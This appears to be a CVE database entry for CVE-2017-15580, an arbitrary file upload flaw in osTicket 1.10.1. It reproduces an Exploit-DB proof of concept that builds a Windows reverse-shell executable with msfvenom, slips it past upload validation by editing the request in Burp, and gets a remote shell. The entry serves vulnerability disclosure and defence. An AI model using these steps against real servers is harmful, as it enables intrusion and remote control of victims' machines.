CVE-2017-15580
Description
osTicket 1.10.1 provides a functionality to upload 'html' files with associated formats. However, it does not properly validate the uploaded file's contents and thus accepts any type of file, such as with a tickets.php request that is modified with a .html extension changed to a .exe extension. An attacker can leverage this vulnerability to upload arbitrary files on the web application having malicious content.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
osTicket 1.10.1 - Arbitrary File Upload
# Exploit Title: osTicket 1.10.1 - Arbitrary File Upload
# Exploit Author: r3j10r (Rajwinder Singh)
# Date: 2018-08-08
# Vendor Homepage: http://osticket.com/
# Software Link: http://osticket.com/download
# Version: osTicket v1.10.1
# CVE-2017-15580
# Vulnerability Details:
# osTicket application provides a functionality to upload 'html' files
# with associated formats. However, application does not properly validate
# the content of file and accepts any type of files.
# Proof-of-Concept:
# Uploaded shell to get reverse shell of end user for the demo purpose.
1. Created a valid '.html' file to bypass client-side validations.
<html>
<title>test</title>
<body>
<p>test page</p>
</body>
</html>
2. Created a reverse shell with '.exe' file extension using msfvenom.
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=<YOUR IP> LPORT=4444 -b "\x00" -e <encoder> -f exe -o reverse.exe
3. Intercepted the request in BurpSuite and changed file extension '.html' to '.exe' and its content
4. Received a valid response from server along with uploaded malicious file.
5. Got reverse shell after execution of the uploaded payload.
# Affected Component:
Parameter: tickets.php?id=<ticket_number>#reply
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| osticket | osticket | 1.10.1 | |
References
- http://0day.today/exploits/28864
- http://nakedsecurity.com/cve/CVE-2017-15580/
- https://becomepentester.blogspot.com/2017/10/osTicket-File-Upload-Restrictions-Bypassed-CVE-2017-15580.html
- https://cxsecurity.com/issue/WLB-2017100187
- https://packetstormsecurity.com/files/144747/osticket1101-shell.txt
- https://www.cyber-security.ro/blog/2017/10/25/osticket-1-10-1-shell-upload/
- https://www.exploit-db.com/exploits/45169/
- http://0day.today/exploits/28864
- http://nakedsecurity.com/cve/CVE-2017-15580/
- https://becomepentester.blogspot.com/2017/10/osTicket-File-Upload-Restrictions-Bypassed-CVE-2017-15580.html
- https://cxsecurity.com/issue/WLB-2017100187
- https://packetstormsecurity.com/files/144747/osticket1101-shell.txt
- https://www.cyber-security.ro/blog/2017/10/25/osticket-1-10-1-shell-upload/
- https://www.exploit-db.com/exploits/45169/
CWEs
CWE-434
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.